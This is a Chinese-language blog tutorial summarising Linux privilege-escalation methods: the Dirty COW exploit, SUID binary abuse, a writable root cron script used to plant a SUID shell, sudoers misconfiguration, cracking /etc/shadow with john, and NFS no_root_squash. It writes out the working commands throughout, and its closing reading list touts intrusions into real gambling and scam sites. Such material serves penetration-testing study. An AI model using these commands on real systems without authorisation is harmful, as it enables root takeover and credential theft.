干货 | 最详细Linux提权总结(建议收藏)

admin 2022年3月24日02:54:12评论225 views字数 4175阅读13分55秒阅读模式


1内核漏洞脏牛提权

查看发行版本

cat /etc/issuecat /etc/*-release

查看内核版本信息

uname -a

具体提权

1、信息收集配合kali提权

uname -a   #查看内核版本信息

干货 | 最详细Linux提权总结(建议收藏)

内核版本为3.2.78,那我们可以搜索该版本漏洞

searchsploit linux 3.2.78

干货 | 最详细Linux提权总结(建议收藏)

找到几个可以使用的脏牛提权脚本,这里我使用的是40839.c脚本

干货 | 最详细Linux提权总结(建议收藏)

那我们把这个文件也进行上传

干货 | 最详细Linux提权总结(建议收藏)

然后在我们反弹的shell上查看,发现上传成功。

干货 | 最详细Linux提权总结(建议收藏)

我们可以先看看脚本

干货 | 最详细Linux提权总结(建议收藏)

利用提示对脚本进行编译

gcc -pthread 40839.c -o 40839 -lcrypt

干货 | 最详细Linux提权总结(建议收藏)

 

干货 | 最详细Linux提权总结(建议收藏)

运行然后输入密码即可

干货 | 最详细Linux提权总结(建议收藏)

接下来我们通过

su firefart   #切换用户

干货 | 最详细Linux提权总结(建议收藏)

2、利用linux-exploit-suggester、linux-exploit-suggester-2等工具

linux-exploit-suggester

干货 | 最详细Linux提权总结(建议收藏)

 

linux-exploit-suggester-2

干货 | 最详细Linux提权总结(建议收藏)


2、SUID配置错误提权

SUID简介

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.

2.命令执行者要对该程序文件拥有执行(x)权限.

3.命令执行者在执行该程序时获得该程序文件属主的身份.

4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

SUID设置方法

1chmod u+s FILE...2chmod u-s FILE…

具体提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

常见Linuxroot文件列表如下

nmapvimfindbashmorelessnanocp

利用如下POC

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000-print2>/dev/nullfind / -user root -perm -4000-exec ls -ldb {} ;

干货 | 最详细Linux提权总结(建议收藏)

 

各命令提权利用

nmap

旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 位于以 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

nmap --interactive #启动交互模式

干货 | 最详细Linux提权总结(建议收藏)

nmap> !shsh-3.2# whoamiroot

干货 | 最详细Linux提权总结(建议收藏)

 

或者有一个 Metasploit 模块,它通过 SUID Nmap 二进制文件执行权限提升。

exploit/unix/local/setuid_nmap


find

实用程序find可用于发现存储在系统上。然而,它是执行命令的能力。因此,如果它被配置为使用 SUID 权限运行,那么所有将通过 find 执行的命令都将以 root 身份执行。


我们拿到一个非root权限

干货 | 最详细Linux提权总结(建议收藏)

touch abcfind abc -exec whoami ;

干货 | 最详细Linux提权总结(建议收藏)

 

vim

Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。

vim.tiny /etc/shadow

干货 | 最详细Linux提权总结(建议收藏)

 

还可以通过vim来打开shell

vim.tiny# Press ESC key:set shell=/bin/sh:shell


干货 | 最详细Linux提权总结(建议收藏)

 

Bash

bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)


干货 | 最详细Linux提权总结(建议收藏)


lessmore

less /etc/passwd!/bin/sh

干货 | 最详细Linux提权总结(建议收藏)

 

3、计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

利用命令如下命令列出一些计划任务

ls -l /etc/cron*cat /etc/crontab

干货 | 最详细Linux提权总结(建议收藏)

在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升


权限配置不当

首先我们拿到一个非root用户的账号,我们通过一些其他的手段提权都失败了,这个时候我们查看了一下计划任务


cat /etc/crontab

干货 | 最详细Linux提权总结(建议收藏)

 

发现存在一个root身份运行的test.sh,那我们当相应的目录下去查看一下这个计划任务

 

cd /sbin;ls -l test.sh

干货 | 最详细Linux提权总结(建议收藏)

 

发现这里权限配置为777,就是说我们普通用户也能去修改这个test.sh文件,那我们对文件进行修改,然后进行提权。

cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

干货 | 最详细Linux提权总结(建议收藏)

接下来就到/tmp等待计划任务的执行

干货 | 最详细Linux提权总结(建议收藏)

 

产生后对bash文件进行执行即可进行提权

干货 | 最详细Linux提权总结(建议收藏)


4、sudo提权

普通用户一般是无法运行root所有者的命令的,运用sudo可以使普通用户使用root用户的命令。但是在一些场景下,管理员为了平常运营方便给sudoer文件配置不当,从而导致权限提升的问题产生。


一般情况下,我们使用sudo命令都需要输入root密码

干货 | 最详细Linux提权总结(建议收藏)

 

管理可能为了方便对/etc/sudoers进行编辑成sudo免密码

vim /etc/sudoers

添加:test ALL=(ALL:ALL) NOPASSWD:ALL  #test为我们的用户

干货 | 最详细Linux提权总结(建议收藏)

 

添加后我们在进行重新进行读取

干货 | 最详细Linux提权总结(建议收藏)


5、明文root密码提权

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

 

干货 | 最详细Linux提权总结(建议收藏)

当我们的passwdshadow一些权限配置不当就可能会导致提权


passwd文件

test:x:1000:1000::/home/test:/bin/bash 

passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(非root用户不可读)。

当我们的passwd文件给普通用户配置了写权限,那么我们就可以通过修改x为一段已知的密码的hash值来进行提权。


shadow文件

test:$6$Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::

假如我们对shadow文件有读取权限我们就可以利用hashjohn等对其进行爆破

这里以john为例进行演示,首先把passwdshadow两文件放在同一文件下

干货 | 最详细Linux提权总结(建议收藏)

john --user=test test.hash

干货 | 最详细Linux提权总结(建议收藏)


6、密码复用提权

当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码


7、第三方服务提权

netstat -antup #查看各种网络服务

1NFS提权

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

查看NFS服务器上的共享目录

sudo showmount -e x.x.x.x

创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。

sudo mkdir -p /tmp

sudo mount -t nfs x.x.x.x:/home/test /tmp

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

2、数据库提权(篇幅教长,后续另起篇幅)

①UDF提权

②MOF提权

启动项提权

CVE-2016-6663、CVE-2016-6664组合提权

反弹端口提权

推荐阅读:



渗透实战系列


【渗透实战系列】29|-实战|对某勒索APP的Getshell

【渗透实战系列】28|-我是如何拿下BC站的服务器

【渗透实战系列】27|-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】26|一记某cms审计过程(步骤详细)

【渗透实战系列】25|一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】24|-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】23|-某菠菜网站渗透实战

【渗透实战系列】22|-渗透系列之打击彩票站

【渗透实战系列】21|一次理财杀猪盘渗透测试案例

【渗透实战系列】20|-渗透直播网站

【渗透实战系列】19|-杀猪盘渗透测试

【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

干货 | 最详细Linux提权总结(建议收藏)

长按-识别-关注

干货 | 最详细Linux提权总结(建议收藏)

Hacking黑白红

一个专注信息安全技术的学习平台

干货 | 最详细Linux提权总结(建议收藏)

点分享

干货 | 最详细Linux提权总结(建议收藏)

点收藏

干货 | 最详细Linux提权总结(建议收藏)

点点赞

干货 | 最详细Linux提权总结(建议收藏)

点在看

本文始发于微信公众号(Hacking黑白红):干货 | 最详细Linux提权总结(建议收藏)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月24日02:54:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货 | 最详细Linux提权总结(建议收藏)https://cn-sec.com/archives/546405.html

发表评论

匿名网友 填写信息